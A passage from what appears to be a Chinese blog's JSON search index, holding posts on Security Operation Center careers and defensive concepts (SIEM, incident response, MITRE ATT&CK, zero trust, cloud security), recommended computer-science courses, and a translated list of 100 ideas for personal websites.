岁还有没有选择权。\n你现在做的每一件事，都在决定那一天。\n","permalink":"https://www.clearsec.org/posts/read/%E6%8A%95%E8%B5%84%E7%BA%A2%E7%BA%BF%E5%AF%B9%E7%85%A7%E8%A1%A8/","summary":"\u003cp\u003e投资回报最高的，不是任何金融产品\u003c/p\u003e\n\u003cp\u003e必须做的三件事：\u003c/p\u003e\n\u003cp\u003e1️⃣ 提升职业技能 / 主业收入\n2️⃣ 建立副收入可能性（不急着赚钱，先试）\n3️⃣ 控制消费升级速度\u003c/p\u003e\n\u003cp\u003e📌 很多 30 岁前拉开差距的人，靠的不是投资，而是：\u003c/p\u003e","title":"投资红线对照表"},{"content":"网络安全专业领域 SOC 相关岗位和资源 sybersecurity 应被拼写为一个单词，意为采取响应措施保护计算机或计算机系统免受未经授权的访问或攻击。 sans.org/security-resources/glossary-of-terms 网络安全术语词汇表 MSSP 托管的安全服务提供商，使用外包方案，外包人员通常并不涉及深入的基础设施\nSOC 通常需要全天候运营，这意味着需要在非正常工作日和节假日进行工作。国际化公司的做法是在跨越多个时区的不同地理位置建立三个 SOC ，例如 美国、新加坡、欧洲。SOC 的需求遵循合规与监管要求并随之而增加，SOC 在企业中是一个昂贵的成本中心，除非 SOC 是公司产品的一部分。SOC 负责监控、调查和补救安全事件。\n分析师\n威胁情报团队 TI 非初级岗位，需要具备全面的网络安全技术知识、良好的书面和口头沟通能力、精湛的演讲技巧、丰富的网络安全威胁技术知识，并且热爱阅读大量信息且与分享信息的人建立关系。 专业的情报服务通常需要付费，OSINT（开放源情报）通常能够提供还不错的情报。 研究新威胁以增强检测能力，确定他们是否危险，并向管理层和SOC提供详细信息。 数字取证和事件响应团队 DF\u0026amp;IR SOC 常见的转交点，SOC 进行初步分析无法处理则转交至此，并对长期持续的事件进行调查。 非初级岗位，大多数组织中TI与DFIR协同 威胁狩猎团队 高级安全职能部门，主动发现或阻止由隐秘攻击者执行的通常难以被自动防御系统探测的活动。 熟悉使用 SIEM 工具及其查询语言，熟悉终端工具、漏扫和云安全代理等工具。 ─ 主动搜索隐藏威胁├── 高级攻击行为分析├── 猜测并验证潜在攻击路径└── 提出新的检测规则（EDR/SIEM） 红队 渗透测试分析师 并非每个公司都有这个团队，该团队外包更具成本效益。 黑盒、白盒和灰盒测试。 紫队测试，用于评估SOC和DFIR团队（蓝队）的有效性。蓝+红=紫。 安全工程团队\n负责部署、管理和维护企业的安全工具和设备。 应用安全工程师——实施控制措施，例如认证、加密授权、ACL、扫描和测试。 网络安全工程师——监控网络、识别脆弱性并指定解决方案。 云安全工程师——配置网络安全、构建应用程序、识别和解决漏洞，维护云基础设施。 SIEM 工程师——与利益相关方合作、了解业务需求、执行有效且高效的数据利用策略，与SOC协作。SIEM 推荐 Anvilogic、Hunters。 检测工程师——设计、构建和优化系统流程，检测恶意活动或未授权行为。 漏洞管理工程师——扫描并管理漏洞。与IT团队协作修补漏洞。 架构师、网络安全架构团队\n网络安全架构师的一个目标可能是制定项目的安全和日志计划，以确保安全性和成本节约之间能够得到合理平衡。 该职位通常需要对整个网络安全领域有广泛的了解并精通所在公司的特定IT实践。 专注于在实施新技术时执行最佳安全实践与合规控制。 大多数公司都没有安全运营团队、安全工程团队和安全架构团队。但无论这些团队是属于SOC还是外包，这些角色在每个公司都会存在。\n内部团队\nSOC 经理 SOC 总监（不是风险管理总监） CISO 风险管理团队 重点关注最坏的情况以及这种情况发生的概率，评估对组织产生的影响。 治理与合规团队 合规的目的是确保以统一的方式遵循适当的网络安全实践。 隐私和法律团队 反欺诈团队 调查数据泄露事件，以确定数据是否泄露、出售或用于恶意目的。 外部团队\n政府机构 执法机构是其中最常遇到的政府实体，与法律和隐私团队一样，SOC 很可能会向调查机构提供数据泄露或内部威胁的证据。 军事和情报机构。与政府有业务往来的公司，。大多数情况下，与政府合作的公司可以共享威胁情报 监管机构。为私营经济的特定活动领域设定基准标准并执行这些标准。 非政府国际组织。非政府国际组织的标准和监管责任由采纳这些标准的国家主权代为执行。 审计团队 供应商 找工作可能会涉及到的资源： 网络安全社区\n2600.org DEF CON BSides OWASP 网络安全比赛 TryHackMe Hack the box lets defend 创建博客 medium 必备技能 网络基础 TCP/IP 模型，网络接口层、网络层、传输层、应用层 OSI 模型，物理层、数据链路层、网络层、传输层、会话层、表示层、应用层 数据封装和解封 IPv4\u0026amp;IPv6 区别\nRFC 1918 地址空间 NAT 网络地址转换 端口和TCPUDP CIA 三元组 防火墙 确保只有需要访问网络资源的人 才能获得访问权限。通过ACL列表实现。公网与私网之间的边界设备。随着云计算的出现，这个概念已不再流行但依然重要。\n最小权限和职责分离 任何人不应拥有超出其工作所需的最低限度的访问权限。 职责分离是将重要的职责分开，减少欺诈的机会。\n加密 加密是改变数据形式使其不可读，哈希是将一组数据转换为唯一指纹，编码只是一种算法而不使用密钥\n终端安全 Verizon发布的数据泄露调查报告表明74%的数据安全事件通过终端攻破。\nWindows 使用本地管理员权限来日常使用终端会给恶意代码提取提供方便。 系统补丁未更新、弱密码和开放公网的远程访问服务易导致其收到安全威胁。\nlinux 有不少发行版默认安装Python环境，同时也建议学习一下这个工具。\nmacos MacOS是专有的Unix版本。用户权限管理类似linux，root权限被默认禁用。\n其他终端 无论如何，系统的安全性都取决于设备上安装的应用程序，比如Windows自带很多服务，这自然使其具备更多天然的弱点。linux和macos对于权限和第三方应用的管理使其稍微安全一点。IoT设备面临的最大风险是应用程序未加密的相关漏洞。\nSOC 分析师 SOC 需要注意的工具、概念、常见的安全定义和零信任基础设施。\nSIEM 安全信息与事件管理 这是SOC的核心，每个设备上的操作都会产生日志。没有日志就没有安全分析师。没有日志，也就没有安全。理想情况下，所有日志都会被集中收集，便于统一观察和衡量。通常SIEM 就是分析师的单一控制面板，也就是SOC 可以操作的唯一界面。\nSIEM除了收集日志，还会对日志进行规范化的处理并展示。通常SIME会通过供应商或用户创建的规则来从海量日志中挑出可疑的内容并告警。\n下一代SIEM平台提供用户实体和行为分析功能，它会尝试收集所有用户的日志并建立一个正常行为的基准线，当用户行为异常超过基线后，系统便会告警。同时，新一代SIEM还在向案件管理工具转变，当有多个相关告警时，平台使用一种方法，将告警结合在一起进行跟踪调查。安全编排和自动化响应也是SIEM平台发展的方向。\n防火墙 分析师可能会参与到IP的阻断，而这大多数情况下是通过防火墙完成的。\nIDS/IPS IPS会在事件发生时采取行动，而IDS只是检测事件。 IPS的本质功能是 阻断攻击，因此必须在流量路径上，即Inline（串联）部署。 IPS（入侵防御系统）理论上可以以旁路模式部署，但那时它不再是 IPS，而是以 IDS 模式工作。\n沙箱工具 沙箱工具可以使你在受保护的环境中执行程序或打开网页，通常在这个环境中分析代码是否有恶意行为是安全可控的。\n术语区分 安全日志、安全事件、安全事故、安全泄露。\n安全日志 安全计划的基础是日志。SOC希望捕获的日志包括网络流量日志、Windows事件日志、unix系统日志和防火墙日志等。\n安全事件 安全事件是安全监控产生的结果。只有安全事件升级为安全事故时才需要进一步的事件响应流程和处理。\n安全事故 安全事故不常见，当怀疑敏感数据丢失时就会宣布发生事故，并启动事件响应流程。 尚未升级的安全事件和漏洞不能算作安全事故。\n安全泄露 安全泄露很少见，确认发生后通常需要由CISO宣布为安全泄露。大多数情况下泄露需要向客户甚至公众发出泄露通知，并且处理过程需要格外谨慎。\n概念 事件响应计划 IRP 有时安全事件会超过SOC的职责范围，交由IRT接管。 NIST 定义了一个包含四个阶段的标准：\n准备； 组织制定应对安全泄露的基础策略，为事件响应团队及整个组织定义培训和意识提升计划。主动的应对意味着在事故发生时可以最大限度地减少泄露对运营、声誉和财务的影响。 检测和分析； 该阶段是 SOC 的重点工作。 遏制、根除和恢复； 宣布发生安全事件代表着该阶段的开始。 该阶段需要准确识别攻击者的入侵方法以及入侵行为，据此制定方案来遏制。根除攻击者获得的访问权限。 最后制定并执行恢复计划，识别入侵方法和手段并封堵漏洞。恢复所有受影响的工作到事故发生前的正常运行状态。 事故后活动。 该阶段对响应过程进行分析，以识别任何可能的改进机会。 可能包括为高层领导或事故相关方制定报告。 可能会导致事件响应计划的更新、加强安全措施或通过工具或机制填补之前未发现的安全漏洞。 可能包含知识分享。例如通过美国国防部主办的国防工业基地门户分享事故报告。 MITRE ATT\u0026amp;CK 框架 该框架是由 MITRE 公司维护的 TTP（战术、技术和程序） 知识库。\n战术（Tactic）是指攻击过程中对手试图实现的高级目标或目的。 示例包括初始访问、执行、持久化、权限提升、防御规避、凭证访问、发现、横向移动、收集、数据渗出和影响。 技术（Technique）是指用于实现战术的具体方法或途径。 示例包括 命令行界面、脚本编写、远程服务漏洞利用等技术。 程序（Procedure）是指对手在现实世界中实施技术的具体示例。 Procedure Examples 在每个技术的描述中。 缓解（Mitigation）是技术中附带的建议和最佳实践，以防御或减少特定技术造成的影响。 团体（Group）每种技术都由团体研究人员确定对抗团体或行为威胁者，以及他们使用的TTP相关信息。 软件（Software）包含特定对手活动相关的恶意软件、攻击或程序。 网络杀伤链 网络杀伤链是一个概念，描述了从攻击者“入侵过程”视角的 攻击生命周期模型。 杀伤链的每一阶段，都可以对应 ATT\u0026amp;CK 中的战术与技术。安全管理中，两者通常配合使用 流程（CKC） × 技术清单（ATT\u0026amp;CK） 的组合。\nCKC 阶段 含义 可映射的 ATT\u0026amp;CK 战术 侦察 Reconnaissance 攻击者收集目标信息 Reconnaissance、Resource Development 武器化 Weaponization 攻击者创建或获取一种武器（恶意程序或恶意代码），旨在利用特定漏洞 Attackers’ tooling (多个技战术的组合) 投送 Delivery 攻击者将武器投送至目标环境 Initial Access 利用 Exploitation 武器被执行后利用目标系统漏洞实现恶意目标 Execution、Privilege Escalation 安装 Installation 攻击者通过安装其他工具后门或恶意软件从而在目标环境中建立持久化 Persistence 命令和控制 C2 攻击者与受感染系统建立通信信道，以远程控制与管理攻击 Command and Control 目标行动 Actions on Objectives 攻击者达成了最终目标，可能包括数据窃取、系统破坏等其他恶意活动 Exfiltration、Impact 在蓝队、威胁狩猎和安全管理中，两者通常这样配合： 用杀伤链描述攻击过程（高层视角） 用 ATT\u0026amp;CK 细化每个阶段具体可能的技术与检测点（细节视角） 再根据 ATT\u0026amp;CK 技术构建 SOC 检测规则、EDR 告警、SIEM 用例 OWASP TOP10 OWASP（Open Web Application Security Project，开放式 Web 应用安全项目）\n是一个全球性的非营利组织，致力于提升软件（尤其是 Web 应用程序）的安全性。OWASP 的核心特点是：\n开放、透明、社区驱动、免费提供安全知识与工具。\nOWASP 每隔数年发布一次 Web 应用最重要的十大安全风险 ，即OWASP TOP10。 对于这些知识的学习可以使用实践课程：tryhackme.com/room/owasptop10\n零信任 零信任是一种安全策略或安全模型。在这种策略中任何用户、设备、应用或流量，无论来源于内网还是外网，都不被默认信任，在允许访问敏感数据前，零信任策略会持续检查和验证用户身份、设备健康状况以及场景背景等因素。\n零信任的核心理念 可总结为一句话：\n永不信任，持续验证（Never trust, Always verify）。\n核心思想包括：\n身份为中心（Identity-centric）\n在允许人员、设备或系统访问敏感数据前，持续检查和验证用户身份、设备健康状况以及场景背景等因素。（验证用户身份、设备身份、服务身份。） 最小权限访问（Least Privilege）\n用户只能访问其当前业务所需的最少资源。 微隔离 通过微分段减少横向移动。将网络划分为更小的部分并控制他们之间的通信。 动态与持续验证（Continuous Authentication）\n不一次性放行，实时检查：账号、设备状态、地理位置、行为风险等。 基于资源的访问控制（Microsegmentation） 上下文访问控制 按资源、业务、应用微分段，避免横向移动。根据上下文决定谁可以获得访问权限，例如他们所处的位置、时间以及他们想要访问的数据的重要性。 加密（Encryption） 确保信息受到加密保护，使任何不应该看到它的人都无法读取它。 动态策略执行 始终准备根据发生的情况调整安全规则。 常见技术手段包括：\n强身份认证（MFA、多因素认证） 单点登录 SSO \u0026amp; 身份联合 微分段（Micro-segmentation） 基于身份的访问控制（IAM/ICAM） ZTA 网关 / Zero Trust Proxy 设备安全评估（MDM/EDR） 行为分析（UEBA） 云端SOC 有效利用云是从云计算获取竞争优势的关键。仅将应用程序迁移到云端并不会自动节省成本，甚至可能花费更多的成本。使用云能否节省成本取决于你对其使用方式的了解。管理仍是云客户的责任，云服务商提供了方法但并不会为云客户具体管理使用情况。\n云服务模型主要有三种类型\n云部署模型主要有五种类型，即客户如何设置和使用这些服务。\n云计算的风险 认识到这些风险对于制定有效的缓解策略以保护云端数据至关重要。\n云安全专业知识受限 云计算的独特性要求安全人员具备专门的知识。 配置错误 数据泄露通常源于错误的云配置，修改云配置非常容易，这意味着即使是微小的错误要可能造成巨大的损失。 攻击面增加 公有云的外部可访问性超出了传统的安全边界，吸引了潜在攻击者。例如云存储的安全措施设置不当或无意开放访问点、将安全凭证存储在云上之类的漏洞。 对云身份的安全关注不足 有效管理云用户身份需要格外谨慎。通常采用单点登录的方式能够简化复杂程度。 缺乏标准和可视化 在多云架构下难以应用统一的安全措施。由于不同云平台提供不同的安全工具，手动维护一致的安全标准具有挑战性。在PaaS和SaaS下，云操作的可视化比IaaS更有限。 数据泄露风险 云端的便利性使数据泄露的便利性也增加了，无意的操作可能产生意料之外的后果。 合规和隐私问题 合规责任由云租户和云提供商共同承担，仓促上云可能产生合规风险。 数据主权和存储问题 数据驻留法规是特定于国家的，使用云服务可能会模糊数据的具体存储位置，带来合规风险。 特定于云的事件响应 利用自动化和云原生控制对于在云环境中实现有效的事件管理至关重要。 在安全领域，数据往往是最宝贵的资产，而云的固有设计使数据访问和共享更加便捷。而云环境中使用的正式事件响应协议往往不够完善。【云事件响应协议不够完善，是因为组织沿用了传统本地（on-premises）安全流程（Incident Response, IR），但云环境在架构、责任分界、日志体系、隔离方法、取证方式等方面完全不同，导致原有流程无法有效应对云安全事件。】确保对数据位置的了解以及访问权限的控制是云计算安全中的首要任务。 %%\n1.云中大部分底层资源（硬件、网络、虚拟化层）由云厂商负责。\n组织只负责：\n应用安全 身份和权限 数据安全 配置错误 传统事件响应流程没有定义如何与云服务商沟通，需要重新进行责任划分 2.云服务商日志式样不同，有些还需要手动开启 CloudTrail VPC Flow Logs Object Access Logs 3.本地 IR 流程通常要求： 拔网线 隔离交换机端口 关机做镜像 而在云上应该使用： 安全组隔离 暂停实例 对卷做快照 4.云环境取证与本地SOP存在很大差异 %% 云安全工具 单点登录 多云架构中，导航用户身份管理变得尤其复杂。SSO简化了这一流程，使得用户能够使用一组凭证访问各种应用程序。 强密码和MFA措施能够增强SSO的安全性 权限身份对应到角色以便审核管理。 云安全态势管理（CSPM） 错误配置在云环境中构成了主要风险。CSPM工具在识别云基础设施漏洞方面起着关键作用，揭示了风险状况及是否符合推荐实践。主要包括检测和修复云配置问题，详细说明云资源，通过仪表盘实现云相关风险的全面概览。 实施需要足够的理解和成熟度；重点是降低风险而不是实施CSPM；优化告警；与工单系统集成。 云访问安全代理（CASB）对于降低云中数据泄露风险至关重要。作为云服务的统一控制机制，实施并执行数据安全、用户获得策略和资源发现。该设施位于用户和云应用程序之间。 主要功能 1. 检查数据流量控制影子IT 2. 防止未经授权的数据上传/下载来降低数据泄露风险 3. 将本地DLP扩展到云端 4. 监控用户行为并实施零信任策略 云工作负载保护平台 致力于保护基于云的工作负载，例如虚拟机、容器、无服务器功能和API，与CSPM相比运行级别更高。提供包括强化和配置评估、对混合和多云环境的支持以及恶意软件扫描。提供实时威胁检测与响应。 云基础设施授权管理（CIEM）提供监控云平台用户权限的功能。管理云环境的访问，以身份为核心，坚持最小权限原则。能够识别用户权限中的违规行为，遏制过多权限的扩散，并提供用于撤销不必要访问权限的解决方案。CIEM通常需要支持多云环境，这也是它存在的意义，管理多云之间的访问控制，并简化用户配置，通过持续监控和调整来增强安全态势。 云安全认证 平台无关认证 CCSK（云安全知识认证），作为起点可以学习相关资源，专门提到CCSK的职位很少。 CCSP（认证云安全专家），由（ISC）²提供，云安全找CCSP，一般安全找CISSP。 特定平台认证 AWS 认证安全专家，业内享有很高声望。 Azurev 助理安全工程师认证。 Google 云安全工程师认证。 SOC 自动化（SAO/SOAR） 在大量事件中寻找趋势是SOC自动化的价值所在。其目标是减少平均检测时间和平均响应时间。\nSOC 成熟度 自动化的错误配置可能带来灾难性的后果，很少会有企业希望全流程的自动化。在组织对所提供的数据有很高的自信之前，自动化过程中应该增加诸如人工交互和审批的制衡措施。 有很多方法可以用来评估SOC的成熟度，除了行业标准的框架，你还可以自己编写。\n成熟阶段示例（流程包含多个任务）\n确定自动化要求的初始阶段。没有自动化动作。 部分动作已自动化，部分动作未完全自动化。 大多数动作已自动化，部分流程已自动化。 结束状态。所有动作和流程均已自动化。 如何开始自动化 SOC 中熟悉其流程和程序的分析师花上一些时间去分析他们每天所作的工作是对自动化开始阶段最有益的事情。然后根据任务需花费的时间和复杂度进行分类。从小到大使其自动化。处理用例时，寻找微小改变造成可见影响的动作，分析并细分它。 在执行自动化操作前先定义它；不要编写复杂冗长的脚本，如果需要可以使用父脚本来调用多个子脚本。 例如，在发生关键事件时呼叫值班分析师:\n首先定义会导致分析师被呼叫的事件类型 研究如何收集值班人员及呼叫方式。比如使用beautifulsoup这样的python插件编写自定义的python代码。脚本抓取内部网页并解析要呼叫的电子邮件地址，向该分析师发送带有关键事件上下文的告警。 脚本监控邮箱内是否有该页面的已读回执，如果1小时内没有则向值班负责人发送相同的呼叫。 技巧和经验 使用ChatGPT协助你完成代码审计、文件路径查询、编写脚本、重写等工作。有证据表明现有LLM AI能够实现钓鱼和武器化相关工作。作为翻译，可以帮助你去攥写报告或与他人沟通。另外，查询一些大众化产品中固定的帮助文档，它提供了很高的效率，例如询问它Windows 事件ID的具体对应项。 方法论。 处理安全事件的时间分配 5%用于识别和了解触发告警的原因 40%用于收集和记录与告警相关的所有证据 40%用于研究证据，检查指标的信誉、寻找历史相关性，以及判断这是不是恶意行为。 10%用于根据安全分析得出结论，并采取任何必要的紧急措施。 5%用于确定后续步骤（如果有） 面对告警在互联网上搜索、查阅供应商和内部文档是很有帮助的。 构建时间线本质上是查看告警被触发前后的事情，在后续分析中判断告警是否因为恶意活动而触发。时间线通常24小时是比较合适的。 记录的信息首要是用户的身份，包含用户名、电子邮件、上次登录信息以及他们的用户角色和权限等相关详细信息 然后是记录设备名称、设备IP地址以及你拥有的任何有关这个资产的信息。比如这个设备是用户工作站还是服务器，用于开发、生产还是测试？ 然后包含与告警相关的文件的任何信息，比如哈希值、文件大小和签名者。 接下来，粘贴于告警事件相关的日志，用于参考。包括终端日志、SIEM日志、防火墙/网络日志、IDS/IPS日志，以及在后续分析中任何可能有帮助的记录。 思考告警活动是否在账户所有者的工作范围之内，以及内部是否有工具可以获得与这个活动相关的信息。例如，通过OA可以查询到告警期间有维护作业的工单。 接下来记录该账户最近执行的任何操作。比如，他们是否更改过密码、账户权限？是否有异常大量的网络流量？是否有异常的电子邮件？ 在证据收集的一步步中，最后不要阶段性的停下来，一管窥豹。在进行完善的收集后通常能得出正确的结论 最后，将你的分析传阅给其他人审阅。如果不能得出分析结论，那么可以回过头再去添加支持性证据。 分析常用的工具 virustotal talos intelligence ipvoid urlvoid reverse.it、joe sandbox、any.run、hybrid analysis domaintools threat crowd tor exit node list ibm x-force exchange internet archive urlscan.io——快速信誉检查和快照，你不知道网站是否在获取到几个凭证后就快速关闭，所以需要使用快照。 wheregoes——查看网站跳转次数，关注是否跳转到非法的仿冒域名 reverse ip google 在google之前不要对IoC做出任何分析，显然这样更快。而且幸运的话能找到研究人员在博客上发表的分析。 如果你对网络安全事件没有什么实际的感触，那么可以部署一个蜜罐到公有云上，从中获得数据并进行分析。 安全分析模板 见图片。\n","permalink":"https://www.clearsec.org/posts/blog/security-operation-center/","summary":"\u003ch1 id=\"网络安全专业领域-soc-相关岗位和资源\"\u003e网络安全专业领域 SOC 相关岗位和资源\u003c/h1\u003e\n\u003cp\u003esybersecurity 应被拼写为一个单词，意为采取响应措施保护计算机或计算机系统免受未经授权的访问或攻击。\nsans.org/security-resources/glossary-of-terms\n网络安全术语词汇表\nMSSP 托管的安全服务提供商，使用外包方案，外包人员通常并不涉及深入的基础设施\u003c/p\u003e","title":"Security Operation Center"},{"content":"核心方法：learn from best 看行业中最优秀的人怎么做，看行业中培养出最优秀人才的机构怎么做。\n做法： 查看北美计算机四大本科课程设置 具体核心知识如下： 编程语言学，算法与数据结构，操作系统、计算机网络，数据库，分布式系统 学习途径 1．学习公开课 公开课平台推荐 平台：\nCoursera edX 课程特点 课程资料齐全：包含视频、课件、Lab（实验）以及方便配置的实验环境或虚拟机。 对于程序员来说，仅懂理论是不够的，Lab 是最重要的部分。 名校课程资源丰富：\nStanford MIT UCB CMU 搜索建议：\n在搜索引擎中输入 Stanford/CMU/MIT/UCB + OS/DB/Networking 等关键词，可找到高质量课程。\n课程推荐 Composing Programs\n适合编程入门，注重函数式编程思想。 The Missing Semester of Your CS Education\n涵盖 Shell、Git、Tmux 等实用工具，提升日常开发效率。 Data Structures and Algorithms Specialization (UCSD)\n内容涵盖：贪心算法、分治算法、动态规划 数据结构：动态数组、哈希表、二叉树等 CSAPP, CMU: Intro to Computer Systems\n深入讲解数据在计算机中的存储方式、汇编语言、程序优化、内存分级、控制流等。 CMU 15-445/645 Intro to Database Systems\n内容包括：数据库存储、缓存机制、查询执行、事务处理等。 MIT 6.S081 Operating System\n涉及系统调用、页表、异常处理、多线程、进程管理等内容。 Stanford CS144 Computer Networking\n从零开始实现 TCP 协议，理解网络通信底层原理。 MIT 6.824 Distributed Systems\n实现 Raft 协议，构建 KV Server，实现动态分片等分布式系统核心内容。 课程优势 难度可控：每门课程都有从易到难的系列课程，若某门课程太难，可选择前置课程。 学习时间灵活：通常为 10-20 周，每周约 1 小时的讲座。 基础知识要求明确：有明确的前置课程要求。 作业设置合理：一般包含 4-10 个 Lab，每个 Lab 完成时间在 5-20 小时之间。 学习曲线平滑：循序渐进，适合自学和系统性学习。 2.阅读经典书籍 例如unix网络编程，unix环境高级编程，，csapp等 除少数书籍以外（例如csapp），绝大多数书籍很难有平滑的学习曲线，很难控制学习时间，作业设置也不是很好\n3.学习方法论 《精力管理》 《成功动机与目标》 《深度工作》 《学习之道》\n","permalink":"https://www.clearsec.org/posts/tech/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%AF%BE%E7%A8%8B%E6%8E%A8%E8%8D%90/","summary":"\u003ch2 id=\"核心方法learn-from-best\"\u003e核心方法：learn from best\u003c/h2\u003e\n\u003cp\u003e看行业中最优秀的人怎么做，看行业中培养出最优秀人才的机构怎么做。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e做法：\n\u003cul\u003e\n\u003cli\u003e查看北美计算机四大本科课程设置\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e具体核心知识如下：\n\u003cul\u003e\n\u003cli\u003e编程语言学，算法与数据结构，操作系统、计算机网络，数据库，分布式系统\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"学习途径\"\u003e学习途径\u003c/h2\u003e\n\u003ch3 id=\"1学习公开课\"\u003e1．学习公开课\u003c/h3\u003e\n\u003ch4 id=\"公开课平台推荐\"\u003e公开课平台推荐\u003c/h4\u003e\n\u003cp\u003e\u003cstrong\u003e平台：\u003c/strong\u003e\u003c/p\u003e","title":"计算机课程推荐"},{"content":" We write to taste life twice, in the moment and in retrospect.\n—— Anaïs Nin\n本文转载自https://anotherdayu.com/2025/6940/ James 分享的 「100 things you can do on your personal website」 很有趣，介绍了博客作者可以尝试的 100 件事。他还参考了 「Ideas for Your Personal Website」 ，也有很多有趣的建议！\n本文将其翻译成中文，并为一些中文读者可能疑惑的概念添加了注释：\n如果你还没有个人网站，可以搭建一个！你可以使用任意喜欢的建站工具，比如 WordPress、micro.blog、omg.lol 等，不需要编程或复杂配置即可快速上手。当然，喜欢挑战的话也可以自己编写代码。 写一篇博客，分享你感兴趣的事、最近让你开心的经历、过去一周学到的新东西、读完一本书后的感想、你玩喜欢的游戏的攻略，或者任何你感兴趣的话题。 分享一道最近做的美味菜谱。 发布一张最近拍摄的照片。 创建一个友情链接（博客圈），链接你喜爱的个人网站。 添加一个 robots.txt 文件，明确限制搜索引擎和AI抓取你网站的内容。 为你喜欢的乐队、电视剧或其他事物创建一个特别的「纪念馆」或「粉丝小站」。 制作图像热区图，让访客点击图片不同部分探索更多信息，比如你书桌上的物品介绍。 分享你最喜欢的书单。 创建电影推荐专页。 提供一个深色模式选项，让读者更舒适地阅读。 注册并使用一个属于你的专属域名。 添加一个有趣的小彩蛋。 搭建留言板，让大家畅所欲言。 给你的网站或特定页面设置背景图片。 设计一个网站寻宝游戏，让访客通过寻找线索探索你的网站。 在 HTML 代码中加入清晰的注释，帮助新手理解你网页各部分的用途。 分享最近喜欢的网页，比如文章、博客、摄影作品或游戏。 为图片添加描述文字。 使用 WAVE （Web Accessibility Evaluation Tool）工具检查网站的无障碍访问性。 用 PageSpeed Insights 优化网站速度。 如果你发布学术作品，添加引用说明。 创建一个“反向图书馆”清单，记录你拥有但未读的书籍。 制作一个文字小游戏。 记录网站更新日志，开启 #网站开发日记。 分享你最近学到的新词列表。 添加 RSS 订阅功能，让访客轻松关注更新。 创建“历史上的今天”功能，链接到以往同日期发布的博客。 添加“跳转到内容”链接，提升网站对屏幕阅读器的支持。 制作文章归档页面。 为网站设计一个专属吉祥物。 制作并添加一个 88×31 像素的小按钮图标，通常用于网页、博客、论坛等地方的链接按钮或标识图标。这种按钮图标在早期互联网时代非常流行，经常用于交换链接、展示合作伙伴或赞助商的链接。 加入一个网站联盟（webring），比如 十年之约 和 开往 Travellings。 翻译网站的某个页面到你熟悉或正在学习的语言。 创建打印样式表。 确保所有链接有效无误。 发起博客活动，邀请朋友们围绕特定主题每月发表文章，并轮流确定主题。 添加 rel=me 链接，认证其他平台上的个人资料，比如在博客自我介绍中列出自己的 Mastodon、GitHub、Twitter 账号。 做一些额外的惊喜内容（おまけ）。 如果你想展示专业作品，可以创建 HTML 简历页面。 使用语法高亮工具（如 Prism.js）美化代码片段。 检查和优化 head 标签中的内容。 为网站添加搜索功能。 创建“此刻（now page）”页面，通常用来展示网站拥有者当前正在关注的事情、工作、生活状态或感兴趣的项目。 使用迷你图（sparkline）展示文章发布频率。Sparkline 是指通过一种小巧、简洁的折线或柱状图，以极小的空间清晰地展现文章发布数量在一段时间内的变化趋势。热图也是一个很好的选择。 尝试不同的字体风格。不同的字体适合不同的主题，可以一起调整。 优化标题字号的层次区分。 在文章末尾加入装饰性分隔符。 使用 lite-youtube 组件加快视频加载速度。 更新网站配色方案。 创建 HTML 元素样式展示页面，辅助设计优化。 编写趣味问答，邀请朋友参与。 为网站添加 Webmention 支持。Webmention 是一种开放的 Web 标准，用于在不同网站之间发送和接收消息通知，使得网站可以相互引用、交互以及进行社交化沟通，WordPress 自带该功能。 制作共享使用的网页组件（web component）。 为图片设置鼠标悬停效果。 发布一段自己的名字或昵称发音录音。 在特别的节日为网站换上主题装扮。 分享你亲手绘制的画作。 在主页添加互动式像素网格。 标记网站内容为非 AI 生成，可参考这个项目 Not By AI 。 分享你喜爱的播客清单。 为你的兴趣爱好专门开设一个新的网站。 制作网站图标（favicon）。 写一篇个人网站发展史。 添加背景播放音频，如鸟鸣或咖啡厅氛围。 制作个人风格的情绪板（mood board），是指通过搜集并组合图片、颜色、文字、材质等元素，来视觉化呈现个人喜好、风格偏好或某种特定氛围的过程。 使用 HTML 的 details 和 summary 标签。 自定义文本选中时的高亮颜色。 帮助朋友搭建他们的网站。 为自己撰写网站维护文档。 为喜欢的艺术作品撰写评论。 与朋友合写一篇共同兴趣的博客。 更新旧博客文章。 在文章中添加旁注（sidenotes）。 为长文章创建目录。 为外部链接添加识别小图标。 添加悬浮卡片（hovercards）。悬浮卡片指的是当用户的鼠标指针悬停在某个元素上时，会弹出一个小卡片，显示额外的信息或提示。 James 实际上创建了 78 个想法，剩余的希望群策群力，由大家一起共创。\n我也有一些想法，大家可以尝试：\n为网站换上一个有趣的域名。 创建一个网站插件，如 WordPress 插件。 制作或回答一个问卷，如 博客作者呀，我想采访你这 9 个问题！ 和网友们语音聊天，如 交个朋友。 创建一些能和读者互动的活动，如 让风儿寄出一份不确定性中的惊喜。 创建一个「赞助支持」页面，如 支持。 创建一封延时发布的博客，可以是 1 年后，也可以是 10 年后，那将是一封给未来自己和读者的信。 定期分享友情链接中有趣的文章，多和朋友们交流，如 友邻们。 连载一份内容策展，分享近期喜欢的事物。 使用一个博客数据统计系统，如 Google Analytics 或 umami。 尝试在线下见一下友情链接中的好友。我的友情链接中有 6 位线下见过，5 位添加友链前就认识。1 位（1nan）是添加友链后发现彼此在英国的同一个城市，骑自行车 15min 左右就能到，于是相约见面。 和朋友发起一些博客竞赛，督促彼此定期更新。此处 @ 陈仓颉 和 印记，不知谁能坚持到最后！ 今天的天气很好，祝大家一切顺利！\nDayu\n","permalink":"https://www.clearsec.org/posts/read/%E4%B8%AA%E4%BA%BA%E7%BD%91%E7%AB%99%E5%8D%9A%E5%AE%A2%E5%8F%AF%E4%BB%A5%E5%B0%9D%E8%AF%95%E7%9A%84-100-%E4%BB%B6%E4%BA%8B/","summary":"\u003cblockquote\u003e\n\u003cp\u003eWe write to taste life twice, in the moment and in retrospect.\u003c/p\u003e\n\u003cp\u003e—— Anaïs Nin\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本文转载自https://anotherdayu.com/2025/6940/\n\u003ca href=\"https://jamesg.blog/\"\u003eJames\u003c/a\u003e 分享的 \u003ca href=\"https://jamesg.blog/2024/02/19/personal-website-ideas\"\u003e「100 things you can do on your personal website」\u003c/a\u003e 很有趣，介绍了博客作者可以尝试的 100 件事。他还参考了 \u003ca href=\"https://32bit.cafe/websiteideas/\"\u003e「Ideas for Your Personal Website」\u003c/a\u003e 